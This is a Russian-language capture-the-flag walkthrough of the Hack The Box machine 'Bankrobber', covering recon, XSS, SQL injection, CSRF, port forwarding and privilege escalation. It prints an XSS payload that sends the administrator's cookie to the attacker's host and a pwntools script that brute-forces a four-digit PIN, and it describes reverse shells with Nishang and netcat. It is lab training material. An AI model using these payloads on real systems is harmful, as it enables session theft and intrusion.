- PVSM.RU - https://www.pvsm.ru -

Hack The Box. Прохождение Bankrobber. XSS, SQL инъекция, CSRF, port forwarding

image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox [1]. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы угоним куки администратора сайта через XSS, узнаем код с помощью SQL инъекции, получим шелл через форму выполнения команды с помощью XSS и CSRF, прокинем порт из Windows и побрутим PIN легенького приложения перевода средств с помощью pwntools.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [2] и группу для обсуждения любых вопросов [3] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [4].

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.154, который я добавляю в /etc/hosts.

10.10.10.154	bankrobber.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A bankrobber.htb -p80,443,445,3306

image

На хосте работают веб сервер и SMB, а также доступна СУБД MySQL. SMB и MySQL ничего нам не дают, поэтому смотрим веб.

image

Представлен сайт Bitcoin, где мы можем зарегистрироваться.

image

Давайте зарегистрируемся и войдем. Нам предоставляют форму перевода средств.

image

Выполнив простой тестовый запрос, получаем сообщение. В нем говорится, что Администратор рассмотрит наш запрос на транзакцию и примет решение.

image

Это очень большой намек на XSS. Давайте попробует украсть cookie администратора. Сначала развернем локальный HTTP сервер.

image

Теперь выполним запрос на транзакцию, указав в качестве сообщения следующую JS нагрузку.

<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

Таким образом, пытаясь загрузить картинку, скрипт обратится по данному адресу и в качестве параметра пришлет нам куки учетной записи, под которой скрипт был выполнен (в данном случае администратор).

image

Похоже на base64. Декодируем и получаем логин и пароль администратора.

image

Логинимся под admin и смотрим, что нового нам доступно. Отправив кавычку в поле поиска пользователя, получаем ошибку — есть инъекция.

image

Другой сервер просит команду dir.

image

Но отвечает только localhost.

image

Вернемся к SQL инъекции.

image

Определяем количество столбцов и какие из них отображаются.

image

Таким образом выводятся первый и второй столбец.

USER

Немного посидев, ничего интересного не находим. Давайте перейдем к модулю backdoorchecker. Найдем событие, которое отвечает на нажатие кнопки.

image

Переходим в консоль браузера и вводим название функции.

image

Переходим по ссылке на функцию.

image

И находим куда поступает запрос. Благодаря инъекции, мы можем прочитать файл (с первого раза угадал дефолтный путь xampp).

image

Таким образом, команда будет выполнена, если в строке будет присутствовать подстрока “dir”. Это позволяет нам отправить цепочку команд. Осталось разобраться с одним, запрос должен поступить от localhost. Вспоминаем про XSS и функцию callSys(), которую мы можем вызвать для отправки запроса. Проверим наше предположение.

image

Так как команда выполнена, давайте выполним RCE с помощью скрипта Invoke-PowerShellTcp из пакета nishang [5].

image

ROOT

Первым делом проводим базовое перечисление системы. Для этого используем winPEAS [6].

image

Из всего вывода цепляемся за открытый на localhost 910 порт.

image

Давайте посмотрим, что на нем. Для начала нужно прокинуть порт. Среди всех программ наиболее удобным решением является chisel [7]. Запускаем на локалтном и удаленном хостах.

image

image

Теперь подключимся и посмотрим, что там.

image

Требуется 4-х значный PIN код. Будем перебирать его.

#!/usr/bin/python3

def clear():
    sys.stdout.write("33[F")
    sys.stdout.write("33[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="r")
    clear()
    r.sendafter('[$] ', PIN+"n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()

image

Находим PIN код и нас просят ввести сумму транзакции. Делаем это и ничего не происходит.

image

Сумма передается в программу, запущенную от имени администратора. Ничего не находя более, передаем в качестве суммы строку из 100 символов.

image

image

И мы видим как строка запуска программы изменилась на часть нашей строки. Проверим с какого индекса это произошло.

image

Таким образом, если передадим строку с названием и другой программы, она выполнится. Давайте проверим.

image

image

image

И предположение верно. Для начала загрузим netcat.

image

И теперь выполним бэкконнект.

image

image

Получаем привилегии SYSTEM.

Вы можете присоединиться к нам в Telegram [2]. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник [8]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/python/348997

Ссылки в тексте:

[1] HackTheBox: https://www.hackthebox.eu

[2] канал в Telegram: https://t.me/RalfHackerChannel

[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat

[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8

[5] nishang: https://github.com/samratashok/nishang

[6] winPEAS: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

[7] chisel: https://github.com/jpillora/chisel

[8] Источник: https://habr.com/ru/post/491586/?utm_source=habrahabr&utm_medium=rss&utm_campaign=491586